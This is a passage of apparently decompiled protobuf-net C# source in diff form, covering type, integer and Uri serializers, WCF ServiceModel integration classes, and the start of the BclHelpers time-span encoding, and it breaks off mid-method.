throw new ArgumentException("The supplied default implementation cannot be created: " + constructType.FullName, "constructType");
}
}
bool IProtoTypeSerializer.CanCreateInstance()
{
return true;
}
object IProtoTypeSerializer.CreateInstance(ProtoReader source)
{
return CreateInstance(source, includeLocalCallback: false);
}
public void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context)
{
if (callbacks != null)
{
InvokeCallback(callbacks[callbackType], value, context);
}
((IProtoTypeSerializer)GetMoreSpecificSerializer(value))?.Callback(value, callbackType, context);
}
private IProtoSerializer GetMoreSpecificSerializer(object value)
{
if (!CanHaveInheritance)
{
return null;
}
Type type = value.GetType();
if ((object)type == forType)
{
return null;
}
for (int i = 0; i < serializers.Length; i++)
{
IProtoSerializer protoSerializer = serializers[i];
if ((object)protoSerializer.ExpectedType != forType && Helpers.IsAssignableFrom(protoSerializer.ExpectedType, type))
{
return protoSerializer;
}
}
if ((object)type == constructType)
{
return null;
}
TypeModel.ThrowUnexpectedSubtype(forType, type);
return null;
}
public void Write(object value, ProtoWriter dest)
{
if (isRootType)
{
Callback(value, TypeModel.CallbackType.BeforeSerialize, dest.Context);
}
GetMoreSpecificSerializer(value)?.Write(value, dest);
for (int i = 0; i < serializers.Length; i++)
{
IProtoSerializer protoSerializer = serializers[i];
if ((object)protoSerializer.ExpectedType == forType)
{
protoSerializer.Write(value, dest);
}
}
if (isExtensible)
{
ProtoWriter.AppendExtensionData((IExtensible)value, dest);
}
if (isRootType)
{
Callback(value, TypeModel.CallbackType.AfterSerialize, dest.Context);
}
}
public object Read(object value, ProtoReader source)
{
if (isRootType && value != null)
{
Callback(value, TypeModel.CallbackType.BeforeDeserialize, source.Context);
}
int num = 0;
int num2 = 0;
int num3;
while ((num3 = source.ReadFieldHeader()) > 0)
{
bool flag = false;
if (num3 < num)
{
num = (num2 = 0);
}
for (int i = num2; i < fieldNumbers.Length; i++)
{
if (fieldNumbers[i] != num3)
{
continue;
}
IProtoSerializer protoSerializer = serializers[i];
Type expectedType = protoSerializer.ExpectedType;
if (value == null)
{
if ((object)expectedType == forType)
{
value = CreateInstance(source, includeLocalCallback: true);
}
}
else if ((object)expectedType != forType && ((IProtoTypeSerializer)protoSerializer).CanCreateInstance() && expectedType.IsSubclassOf(value.GetType()))
{
value = ProtoReader.Merge(source, value, ((IProtoTypeSerializer)protoSerializer).CreateInstance(source));
}
if (protoSerializer.ReturnsValue)
{
value = protoSerializer.Read(value, source);
}
else
{
protoSerializer.Read(value, source);
}
num2 = i;
num = num3;
flag = true;
break;
}
if (!flag)
{
if (value == null)
{
value = CreateInstance(source, includeLocalCallback: true);
}
if (isExtensible)
{
source.AppendExtensionData((IExtensible)value);
}
else
{
source.SkipField();
}
}
}
if (value == null)
{
value = CreateInstance(source, includeLocalCallback: true);
}
if (isRootType)
{
Callback(value, TypeModel.CallbackType.AfterDeserialize, source.Context);
}
return value;
}
private object InvokeCallback(MethodInfo method, object obj, SerializationContext context)
{
object result = null;
if ((object)method != null)
{
ParameterInfo[] parameters = method.GetParameters();
object[] array;
bool flag;
if (parameters.Length == 0)
{
array = null;
flag = true;
}
else
{
array = new object[parameters.Length];
flag = true;
for (int i = 0; i < array.Length; i++)
{
Type parameterType = parameters[i].ParameterType;
object obj2;
if ((object)parameterType == typeof(SerializationContext))
{
obj2 = context;
}
else if ((object)parameterType == typeof(Type))
{
obj2 = constructType;
}
else if ((object)parameterType == typeof(StreamingContext))
{
obj2 = (StreamingContext)context;
}
else
{
obj2 = null;
flag = false;
}
array[i] = obj2;
}
}
if (!flag)
{
throw CallbackSet.CreateInvalidCallbackSignature(method);
}
result = method.Invoke(obj, array);
}
return result;
}
private object CreateInstance(ProtoReader source, bool includeLocalCallback)
{
object obj;
if ((object)factory != null)
{
obj = InvokeCallback(factory, null, source.Context);
}
else if (useConstructor)
{
if (!hasConstructor)
{
TypeModel.ThrowCannotCreateInstance(constructType);
}
obj = Activator.CreateInstance(constructType, nonPublic: true);
}
else
{
obj = BclHelpers.GetUninitializedObject(constructType);
}
ProtoReader.NoteObject(obj, source);
if (baseCtorCallbacks != null)
{
for (int i = 0; i < baseCtorCallbacks.Length; i++)
{
InvokeCallback(baseCtorCallbacks[i], obj, source.Context);
}
}
if (includeLocalCallback && callbacks != null)
{
InvokeCallback(callbacks.BeforeDeserialize, obj, source.Context);
}
return obj;
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
Type expectedType = ExpectedType;
using Local local = ctx.GetLocalWithValue(expectedType, valueFrom);
EmitCallbackIfNeeded(ctx, local, TypeModel.CallbackType.BeforeSerialize);
CodeLabel label = ctx.DefineLabel();
if (CanHaveInheritance)
{
for (int i = 0; i < serializers.Length; i++)
{
IProtoSerializer protoSerializer = serializers[i];
Type expectedType2 = protoSerializer.ExpectedType;
if ((object)expectedType2 != forType)
{
CodeLabel label2 = ctx.DefineLabel();
CodeLabel label3 = ctx.DefineLabel();
ctx.LoadValue(local);
ctx.TryCast(expectedType2);
ctx.CopyValue();
ctx.BranchIfTrue(label2, @short: true);
ctx.DiscardValue();
ctx.Branch(label3, @short: true);
ctx.MarkLabel(label2);
if (Helpers.IsValueType(expectedType2))
{
ctx.DiscardValue();
ctx.LoadValue(local);
ctx.CastFromObject(expectedType2);
}
protoSerializer.EmitWrite(ctx, null);
ctx.Branch(label, @short: false);
ctx.MarkLabel(label3);
}
}
if ((object)constructType != null && (object)constructType != forType)
{
using Local local2 = new Local(ctx, ctx.MapType(typeof(Type)));
ctx.LoadValue(local);
ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("GetType"));
ctx.CopyValue();
ctx.StoreValue(local2);
ctx.LoadValue(forType);
ctx.BranchIfEqual(label, @short: true);
ctx.LoadValue(local2);
ctx.LoadValue(constructType);
ctx.BranchIfEqual(label, @short: true);
}
else
{
ctx.LoadValue(local);
ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("GetType"));
ctx.LoadValue(forType);
ctx.BranchIfEqual(label, @short: true);
}
ctx.LoadValue(forType);
ctx.LoadValue(local);
ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("GetType"));
ctx.EmitCall(ctx.MapType(typeof(TypeModel)).GetMethod("ThrowUnexpectedSubtype", BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic));
}
ctx.MarkLabel(label);
for (int j = 0; j < serializers.Length; j++)
{
IProtoSerializer protoSerializer2 = serializers[j];
if ((object)protoSerializer2.ExpectedType == forType)
{
protoSerializer2.EmitWrite(ctx, local);
}
}
if (isExtensible)
{
ctx.LoadValue(local);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("AppendExtensionData"));
}
EmitCallbackIfNeeded(ctx, local, TypeModel.CallbackType.AfterSerialize);
}
private static void EmitInvokeCallback(CompilerContext ctx, MethodInfo method, bool copyValue, Type constructType, Type type)
{
if ((object)method == null)
{
return;
}
if (copyValue)
{
ctx.CopyValue();
}
ParameterInfo[] parameters = method.GetParameters();
bool flag = true;
for (int i = 0; i < parameters.Length; i++)
{
Type parameterType = parameters[i].ParameterType;
if ((object)parameterType == ctx.MapType(typeof(SerializationContext)))
{
ctx.LoadSerializationContext();
}
else if ((object)parameterType == ctx.MapType(typeof(Type)))
{
Type type2 = constructType;
if ((object)type2 == null)
{
type2 = type;
}
ctx.LoadValue(type2);
}
else if ((object)parameterType == ctx.MapType(typeof(StreamingContext)))
{
ctx.LoadSerializationContext();
MethodInfo method2 = ctx.MapType(typeof(SerializationContext)).GetMethod("op_Implicit", new Type[1] { ctx.MapType(typeof(SerializationContext)) });
if ((object)method2 != null)
{
ctx.EmitCall(method2);
flag = true;
}
}
else
{
flag = false;
}
}
if (flag)
{
ctx.EmitCall(method);
if ((object)constructType != null && (object)method.ReturnType == ctx.MapType(typeof(object)))
{
ctx.CastFromObject(type);
}
return;
}
throw CallbackSet.CreateInvalidCallbackSignature(method);
}
private void EmitCallbackIfNeeded(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType)
{
if (isRootType && ((IProtoTypeSerializer)this).HasCallbacks(callbackType))
{
((IProtoTypeSerializer)this).EmitCallback(ctx, valueFrom, callbackType);
}
}
void IProtoTypeSerializer.EmitCallback(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType)
{
bool flag = false;
if (CanHaveInheritance)
{
for (int i = 0; i < serializers.Length; i++)
{
IProtoSerializer protoSerializer = serializers[i];
if ((object)protoSerializer.ExpectedType != forType && ((IProtoTypeSerializer)protoSerializer).HasCallbacks(callbackType))
{
flag = true;
}
}
}
MethodInfo methodInfo = callbacks?[callbackType];
if ((object)methodInfo == null && !flag)
{
return;
}
ctx.LoadAddress(valueFrom, ExpectedType);
EmitInvokeCallback(ctx, methodInfo, flag, null, forType);
if (!flag)
{
return;
}
CodeLabel label = ctx.DefineLabel();
for (int j = 0; j < serializers.Length; j++)
{
IProtoSerializer protoSerializer2 = serializers[j];
Type expectedType = protoSerializer2.ExpectedType;
IProtoTypeSerializer protoTypeSerializer;
if ((object)expectedType != forType && (protoTypeSerializer = (IProtoTypeSerializer)protoSerializer2).HasCallbacks(callbackType))
{
CodeLabel label2 = ctx.DefineLabel();
CodeLabel label3 = ctx.DefineLabel();
ctx.CopyValue();
ctx.TryCast(expectedType);
ctx.CopyValue();
ctx.BranchIfTrue(label2, @short: true);
ctx.DiscardValue();
ctx.Branch(label3, @short: false);
ctx.MarkLabel(label2);
protoTypeSerializer.EmitCallback(ctx, null, callbackType);
ctx.Branch(label, @short: false);
ctx.MarkLabel(label3);
}
}
ctx.MarkLabel(label);
ctx.DiscardValue();
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
Type expectedType = ExpectedType;
using Local local = ctx.GetLocalWithValue(expectedType, valueFrom);
using Local local2 = new Local(ctx, ctx.MapType(typeof(int)));
if (HasCallbacks(TypeModel.CallbackType.BeforeDeserialize))
{
if (Helpers.IsValueType(ExpectedType))
{
EmitCallbackIfNeeded(ctx, local, TypeModel.CallbackType.BeforeDeserialize);
}
else
{
CodeLabel label = ctx.DefineLabel();
ctx.LoadValue(local);
ctx.BranchIfFalse(label, @short: false);
EmitCallbackIfNeeded(ctx, local, TypeModel.CallbackType.BeforeDeserialize);
ctx.MarkLabel(label);
}
}
CodeLabel codeLabel = ctx.DefineLabel();
CodeLabel label2 = ctx.DefineLabel();
ctx.Branch(codeLabel, @short: false);
ctx.MarkLabel(label2);
int[] keys = fieldNumbers;
object[] values = serializers;
BasicList.NodeEnumerator enumerator = BasicList.GetContiguousGroups(keys, values).GetEnumerator();
while (enumerator.MoveNext())
{
BasicList.Group obj = (BasicList.Group)enumerator.Current;
CodeLabel label3 = ctx.DefineLabel();
int count = obj.Items.Count;
if (count == 1)
{
ctx.LoadValue(local2);
ctx.LoadValue(obj.First);
CodeLabel codeLabel2 = ctx.DefineLabel();
ctx.BranchIfEqual(codeLabel2, @short: true);
ctx.Branch(label3, @short: false);
WriteFieldHandler(ctx, expectedType, local, codeLabel2, codeLabel, (IProtoSerializer)obj.Items[0]);
}
else
{
ctx.LoadValue(local2);
ctx.LoadValue(obj.First);
ctx.Subtract();
CodeLabel[] array = new CodeLabel[count];
for (int i = 0; i < count; i++)
{
array[i] = ctx.DefineLabel();
}
ctx.Switch(array);
ctx.Branch(label3, @short: false);
for (int j = 0; j < count; j++)
{
WriteFieldHandler(ctx, expectedType, local, array[j], codeLabel, (IProtoSerializer)obj.Items[j]);
}
}
ctx.MarkLabel(label3);
}
EmitCreateIfNull(ctx, local);
ctx.LoadReaderWriter();
if (isExtensible)
{
ctx.LoadValue(local);
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("AppendExtensionData"));
}
else
{
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("SkipField"));
}
ctx.MarkLabel(codeLabel);
ctx.EmitBasicRead("ReadFieldHeader", ctx.MapType(typeof(int)));
ctx.CopyValue();
ctx.StoreValue(local2);
ctx.LoadValue(0);
ctx.BranchIfGreater(label2, @short: false);
EmitCreateIfNull(ctx, local);
EmitCallbackIfNeeded(ctx, local, TypeModel.CallbackType.AfterDeserialize);
if (valueFrom != null && !local.IsSame(valueFrom))
{
ctx.LoadValue(local);
ctx.Cast(valueFrom.Type);
ctx.StoreValue(valueFrom);
}
}
private void WriteFieldHandler(CompilerContext ctx, Type expected, Local loc, CodeLabel handler, CodeLabel @continue, IProtoSerializer serializer)
{
ctx.MarkLabel(handler);
Type expectedType = serializer.ExpectedType;
if ((object)expectedType == forType)
{
EmitCreateIfNull(ctx, loc);
serializer.EmitRead(ctx, loc);
}
else
{
if (((IProtoTypeSerializer)serializer).CanCreateInstance())
{
CodeLabel label = ctx.DefineLabel();
ctx.LoadValue(loc);
ctx.BranchIfFalse(label, @short: false);
ctx.LoadValue(loc);
ctx.TryCast(expectedType);
ctx.BranchIfTrue(label, @short: false);
ctx.LoadReaderWriter();
ctx.LoadValue(loc);
((IProtoTypeSerializer)serializer).EmitCreateInstance(ctx);
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("Merge"));
ctx.Cast(expected);
ctx.StoreValue(loc);
ctx.MarkLabel(label);
}
if (Helpers.IsValueType(expectedType))
{
CodeLabel label2 = ctx.DefineLabel();
CodeLabel label3 = ctx.DefineLabel();
using Local local = new Local(ctx, expectedType);
ctx.LoadValue(loc);
ctx.BranchIfFalse(label2, @short: false);
ctx.LoadValue(loc);
ctx.CastFromObject(expectedType);
ctx.Branch(label3, @short: false);
ctx.MarkLabel(label2);
ctx.InitLocal(expectedType, local);
ctx.LoadValue(local);
ctx.MarkLabel(label3);
}
else
{
ctx.LoadValue(loc);
ctx.Cast(expectedType);
}
serializer.EmitRead(ctx, null);
}
if (serializer.ReturnsValue)
{
if (Helpers.IsValueType(expectedType))
{
ctx.CastToObject(expectedType);
}
ctx.StoreValue(loc);
}
ctx.Branch(@continue, @short: false);
}
void IProtoTypeSerializer.EmitCreateInstance(CompilerContext ctx)
{
bool flag = true;
if ((object)factory != null)
{
EmitInvokeCallback(ctx, factory, copyValue: false, constructType, forType);
}
else if (!useConstructor)
{
ctx.LoadValue(constructType);
ctx.EmitCall(ctx.MapType(typeof(BclHelpers)).GetMethod("GetUninitializedObject"));
ctx.Cast(forType);
}
else if (Helpers.IsClass(constructType) && hasConstructor)
{
ctx.EmitCtor(constructType);
}
else
{
ctx.LoadValue(ExpectedType);
ctx.EmitCall(ctx.MapType(typeof(TypeModel)).GetMethod("ThrowCannotCreateInstance", BindingFlags.Static | BindingFlags.Public));
ctx.LoadNullRef();
flag = false;
}
if (flag)
{
ctx.CopyValue();
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("NoteObject", BindingFlags.Static | BindingFlags.Public));
}
if (baseCtorCallbacks != null)
{
for (int i = 0; i < baseCtorCallbacks.Length; i++)
{
EmitInvokeCallback(ctx, baseCtorCallbacks[i], copyValue: true, null, forType);
}
}
}
private void EmitCreateIfNull(CompilerContext ctx, Local storage)
{
if (!Helpers.IsValueType(ExpectedType))
{
CodeLabel label = ctx.DefineLabel();
ctx.LoadValue(storage);
ctx.BranchIfTrue(label, @short: false);
((IProtoTypeSerializer)this).EmitCreateInstance(ctx);
if (callbacks != null)
{
EmitInvokeCallback(ctx, callbacks.BeforeDeserialize, copyValue: true, null, forType);
}
ctx.StoreValue(storage);
ctx.MarkLabel(label);
}
}
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal class UInt16Serializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(ushort);
public virtual Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public UInt16Serializer(TypeModel model)
{
}
public virtual object Read(object value, ProtoReader source)
{
return source.ReadUInt16();
}
public virtual void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteUInt16((ushort)value, dest);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicWrite("WriteUInt16", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead("ReadUInt16", ctx.MapType(typeof(ushort)));
}
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class UInt32Serializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(uint);
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public UInt32Serializer(TypeModel model)
{
}
public object Read(object value, ProtoReader source)
{
return source.ReadUInt32();
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteUInt32((uint)value, dest);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicWrite("WriteUInt32", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead("ReadUInt32", ctx.MapType(typeof(uint)));
}
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class UInt64Serializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(ulong);
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public UInt64Serializer(TypeModel model)
{
}
public object Read(object value, ProtoReader source)
{
return source.ReadUInt64();
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteUInt64((ulong)value, dest);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicWrite("WriteUInt64", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead("ReadUInt64", ExpectedType);
}
}
@@ -0,0 +1,60 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class UriDecorator : ProtoDecoratorBase
{
private static readonly Type expectedType = typeof(Uri);
public override Type ExpectedType => expectedType;
public override bool RequiresOldValue => false;
public override bool ReturnsValue => true;
public UriDecorator(TypeModel model, IProtoSerializer tail)
: base(tail)
{
}
public override void Write(object value, ProtoWriter dest)
{
Tail.Write(((Uri)value).OriginalString, dest);
}
public override object Read(object value, ProtoReader source)
{
string text = (string)Tail.Read(null, source);
if (text.Length != 0)
{
return new Uri(text, UriKind.RelativeOrAbsolute);
}
return null;
}
protected override void EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.LoadValue(valueFrom);
ctx.LoadValue(typeof(Uri).GetProperty("OriginalString"));
Tail.EmitWrite(ctx, null);
}
protected override void EmitRead(CompilerContext ctx, Local valueFrom)
{
Tail.EmitRead(ctx, valueFrom);
ctx.CopyValue();
CodeLabel label = ctx.DefineLabel();
CodeLabel label2 = ctx.DefineLabel();
ctx.LoadValue(typeof(string).GetProperty("Length"));
ctx.BranchIfTrue(label, @short: true);
ctx.DiscardValue();
ctx.LoadNullRef();
ctx.Branch(label2, @short: true);
ctx.MarkLabel(label);
ctx.LoadValue(0);
ctx.EmitCtor(ctx.MapType(typeof(Uri)), ctx.MapType(typeof(string)), ctx.MapType(typeof(UriKind)));
ctx.MarkLabel(label2);
}
}
@@ -0,0 +1,30 @@
using System;
using System.ServiceModel.Channels;
using System.ServiceModel.Description;
using System.ServiceModel.Dispatcher;
namespace ProtoBuf.ServiceModel;
[AttributeUsage(AttributeTargets.Method, AllowMultiple = false)]
public sealed class ProtoBehaviorAttribute : Attribute, IOperationBehavior
{
void IOperationBehavior.AddBindingParameters(OperationDescription operationDescription, BindingParameterCollection bindingParameters)
{
}
void IOperationBehavior.ApplyClientBehavior(OperationDescription operationDescription, ClientOperation clientOperation)
{
IOperationBehavior val = (IOperationBehavior)(object)new ProtoOperationBehavior(operationDescription);
val.ApplyClientBehavior(operationDescription, clientOperation);
}
void IOperationBehavior.ApplyDispatchBehavior(OperationDescription operationDescription, DispatchOperation dispatchOperation)
{
IOperationBehavior val = (IOperationBehavior)(object)new ProtoOperationBehavior(operationDescription);
val.ApplyDispatchBehavior(operationDescription, dispatchOperation);
}
void IOperationBehavior.Validate(OperationDescription operationDescription)
{
}
}
@@ -0,0 +1,14 @@
using System;
using System.ServiceModel.Configuration;
namespace ProtoBuf.ServiceModel;
public class ProtoBehaviorExtension : BehaviorExtensionElement
{
public override Type BehaviorType => typeof(ProtoEndpointBehavior);
protected override object CreateBehavior()
{
return new ProtoEndpointBehavior();
}
}
@@ -0,0 +1,47 @@
using System.Collections.ObjectModel;
using System.ServiceModel.Channels;
using System.ServiceModel.Description;
using System.ServiceModel.Dispatcher;
namespace ProtoBuf.ServiceModel;
public class ProtoEndpointBehavior : IEndpointBehavior
{
void IEndpointBehavior.AddBindingParameters(ServiceEndpoint endpoint, BindingParameterCollection bindingParameters)
{
}
void IEndpointBehavior.ApplyClientBehavior(ServiceEndpoint endpoint, ClientRuntime clientRuntime)
{
ReplaceDataContractSerializerOperationBehavior(endpoint);
}
void IEndpointBehavior.ApplyDispatchBehavior(ServiceEndpoint endpoint, EndpointDispatcher endpointDispatcher)
{
ReplaceDataContractSerializerOperationBehavior(endpoint);
}
void IEndpointBehavior.Validate(ServiceEndpoint endpoint)
{
}
private static void ReplaceDataContractSerializerOperationBehavior(ServiceEndpoint serviceEndpoint)
{
foreach (OperationDescription item in (Collection<OperationDescription>)(object)serviceEndpoint.Contract.Operations)
{
ReplaceDataContractSerializerOperationBehavior(item);
}
}
private static void ReplaceDataContractSerializerOperationBehavior(OperationDescription description)
{
DataContractSerializerOperationBehavior val = description.Behaviors.Find<DataContractSerializerOperationBehavior>();
if (val != null)
{
((Collection<IOperationBehavior>)(object)description.Behaviors).Remove((IOperationBehavior)(object)val);
ProtoOperationBehavior protoOperationBehavior = new ProtoOperationBehavior(description);
((DataContractSerializerOperationBehavior)protoOperationBehavior).MaxItemsInObjectGraph = val.MaxItemsInObjectGraph;
((Collection<IOperationBehavior>)(object)description.Behaviors).Add((IOperationBehavior)(object)protoOperationBehavior);
}
}
}
@@ -0,0 +1,40 @@
using System;
using System.Collections.Generic;
using System.Runtime.Serialization;
using System.ServiceModel.Description;
using System.Xml;
using ProtoBuf.Meta;
namespace ProtoBuf.ServiceModel;
public sealed class ProtoOperationBehavior : DataContractSerializerOperationBehavior
{
private TypeModel model;
public TypeModel Model
{
get
{
return model;
}
set
{
model = value ?? throw new ArgumentNullException("value");
}
}
public ProtoOperationBehavior(OperationDescription operation)
: base(operation)
{
model = RuntimeTypeModel.Default;
}
public override XmlObjectSerializer CreateSerializer(Type type, XmlDictionaryString name, XmlDictionaryString ns, IList<Type> knownTypes)
{
if (model == null)
{
throw new InvalidOperationException("No Model instance has been assigned to the ProtoOperationBehavior");
}
return (XmlObjectSerializer)(((object)XmlProtoSerializer.TryCreate(model, type)) ?? ((object)((DataContractSerializerOperationBehavior)this).CreateSerializer(type, name, ns, knownTypes)));
}
}
@@ -0,0 +1,220 @@
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Xml;
using ProtoBuf.Meta;
namespace ProtoBuf.ServiceModel;
public sealed class XmlProtoSerializer : XmlObjectSerializer
{
private readonly TypeModel model;
private readonly int key;
private readonly bool isList;
private readonly bool isEnum;
private readonly Type type;
private const string PROTO_ELEMENT = "proto";
internal XmlProtoSerializer(TypeModel model, int key, Type type, bool isList)
{
if (key < 0)
{
throw new ArgumentOutOfRangeException("key");
}
this.model = model ?? throw new ArgumentNullException("model");
this.key = key;
this.isList = isList;
this.type = type ?? throw new ArgumentOutOfRangeException("type");
isEnum = Helpers.IsEnum(type);
}
public static XmlProtoSerializer TryCreate(TypeModel model, Type type)
{
if (model == null)
{
throw new ArgumentNullException("model");
}
if ((object)type == null)
{
throw new ArgumentNullException("type");
}
bool flag;
int num = GetKey(model, ref type, out flag);
if (num >= 0)
{
return new XmlProtoSerializer(model, num, type, flag);
}
return null;
}
public XmlProtoSerializer(TypeModel model, Type type)
{
if (model == null)
{
throw new ArgumentNullException("model");
}
if ((object)type == null)
{
throw new ArgumentNullException("type");
}
key = GetKey(model, ref type, out isList);
this.model = model;
this.type = type;
isEnum = Helpers.IsEnum(type);
if (key < 0)
{
throw new ArgumentOutOfRangeException("type", "Type not recognised by the model: " + type.FullName);
}
}
private static int GetKey(TypeModel model, ref Type type, out bool isList)
{
if (model != null && (object)type != null)
{
int num = model.GetKey(ref type);
if (num >= 0)
{
isList = false;
return num;
}
Type listItemType = TypeModel.GetListItemType(model, type);
if ((object)listItemType != null)
{
num = model.GetKey(ref listItemType);
if (num >= 0)
{
isList = true;
return num;
}
}
}
isList = false;
return -1;
}
public override void WriteEndObject(XmlDictionaryWriter writer)
{
if (writer == null)
{
throw new ArgumentNullException("writer");
}
((XmlWriter)writer).WriteEndElement();
}
public override void WriteStartObject(XmlDictionaryWriter writer, object graph)
{
if (writer == null)
{
throw new ArgumentNullException("writer");
}
((XmlWriter)writer).WriteStartElement("proto");
}
public override void WriteObjectContent(XmlDictionaryWriter writer, object graph)
{
if (writer == null)
{
throw new ArgumentNullException("writer");
}
if (graph == null)
{
((XmlWriter)writer).WriteAttributeString("nil", "true");
return;
}
using MemoryStream memoryStream = new MemoryStream();
if (isList)
{
model.Serialize(memoryStream, graph, null);
}
else
{
using ProtoWriter dest = ProtoWriter.Create(memoryStream, model);
model.Serialize(key, graph, dest);
}
byte[] buffer = memoryStream.GetBuffer();
((XmlWriter)writer).WriteBase64(buffer, 0, (int)memoryStream.Length);
}
public override bool IsStartObject(XmlDictionaryReader reader)
{
//IL_0012: Unknown result type (might be due to invalid IL or missing references)
//IL_0019: Unknown result type (might be due to invalid IL or missing references)
//IL_001f: Invalid comparison between Unknown and I4
if (reader == null)
{
throw new ArgumentNullException("reader");
}
((XmlReader)reader).MoveToContent();
if ((int)((XmlReader)reader).NodeType == 1)
{
return ((XmlReader)reader).Name == "proto";
}
return false;
}
public override object ReadObject(XmlDictionaryReader reader, bool verifyObjectName)
{
//IL_0012: Unknown result type (might be due to invalid IL or missing references)
if (reader == null)
{
throw new ArgumentNullException("reader");
}
((XmlReader)reader).MoveToContent();
bool isEmptyElement = ((XmlReader)reader).IsEmptyElement;
bool flag = ((XmlReader)reader).GetAttribute("nil") == "true";
((XmlReader)reader).ReadStartElement("proto");
if (flag)
{
if (!isEmptyElement)
{
((XmlReader)reader).ReadEndElement();
}
return null;
}
if (isEmptyElement)
{
if (isList || isEnum)
{
return model.Deserialize(Stream.Null, null, type, null);
}
ProtoReader protoReader = null;
try
{
protoReader = ProtoReader.Create(Stream.Null, model, null, -1L);
return model.Deserialize(key, null, protoReader);
}
finally
{
ProtoReader.Recycle(protoReader);
}
}
object result;
using (MemoryStream source = new MemoryStream(reader.ReadContentAsBase64()))
{
if (isList || isEnum)
{
result = model.Deserialize(source, null, type, null);
}
else
{
ProtoReader protoReader2 = null;
try
{
protoReader2 = ProtoReader.Create(source, model, null, -1L);
result = model.Deserialize(key, null, protoReader2);
}
finally
{
ProtoReader.Recycle(protoReader2);
}
}
}
((XmlReader)reader).ReadEndElement();
return result;
}
}
@@ -0,0 +1,627 @@
using System;
using System.Runtime.Serialization;
namespace ProtoBuf;
public static class BclHelpers
{
[Flags]
public enum NetObjectOptions : byte
{
None = 0,
AsReference = 1,
DynamicType = 2,
UseConstructor = 4,
LateSet = 8
}
private const int FieldTimeSpanValue = 1;
private const int FieldTimeSpanScale = 2;
private const int FieldTimeSpanKind = 3;
internal static readonly DateTime[] EpochOrigin = new DateTime[3]
{
new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Unspecified),
new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc),
new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Local)
};
private static readonly DateTime TimestampEpoch = EpochOrigin[1];
private const int FieldDecimalLow = 1;
private const int FieldDecimalHigh = 2;
private const int FieldDecimalSignScale = 3;
private const int FieldGuidLow = 1;
private const int FieldGuidHigh = 2;
private const int FieldExistingObjectKey = 1;
private const int FieldNewObjectKey = 2;
private const int FieldExistingTypeKey = 3;
private const int FieldNewTypeKey = 4;
private const int FieldTypeName = 8;
private const int FieldObject = 10;
public static object GetUninitializedObject(Type type)
{
return FormatterServices.GetUninitializedObject(type);
}
public static void WriteTimeSpan(TimeSpan timeSpan, ProtoWriter dest)
{
WriteTimeSpanImpl(timeSpan, dest, DateTimeKind.Unspecified);
}
private static void WriteTimeSpanImpl(TimeSpan timeSpan, ProtoWriter dest, DateTimeKind kind)
{
if (dest == null)
{
throw new ArgumentNullException("dest");
}
switch (dest.WireType)
{
case WireType.String:
case WireType.StartGroup:
{
long num = timeSpan.Ticks;
TimeSpanScale timeSpanScale;
if (timeSpan == TimeSpan.MaxValue)
{
num = 1L;
timeSpanScale = TimeSpanScale.MinMax;
}
else if (timeSpan == TimeSpan.MinValue)
{
num = -1L;
timeSpanScale = TimeSpanScale.MinMax;
}
else if (num % 864000000000L == 0L)
{
timeSpanScale = TimeSpanScale.Days;
num /= 864000000000L;
}
else if (num % 36000000000L == 0L)
{
timeSpanScale = TimeSpanScale.Hours;
num /= 36000000000L;
}
else if (num % 600000000 == 0L)
{
timeSpanScale = TimeSpanScale.Minutes;
num /= 600000000;
}
else if (num % 10000000 == 0L)
{
timeSpanScale = TimeSpanScale.Seconds;
num /= 10000000;
}
else if (num % 10000 == 0L)
{
timeSpanScale = TimeSpanScale.Milliseconds;
num /= 10000;
}
else
{
timeSpanScale = TimeSpanScale.Ticks;
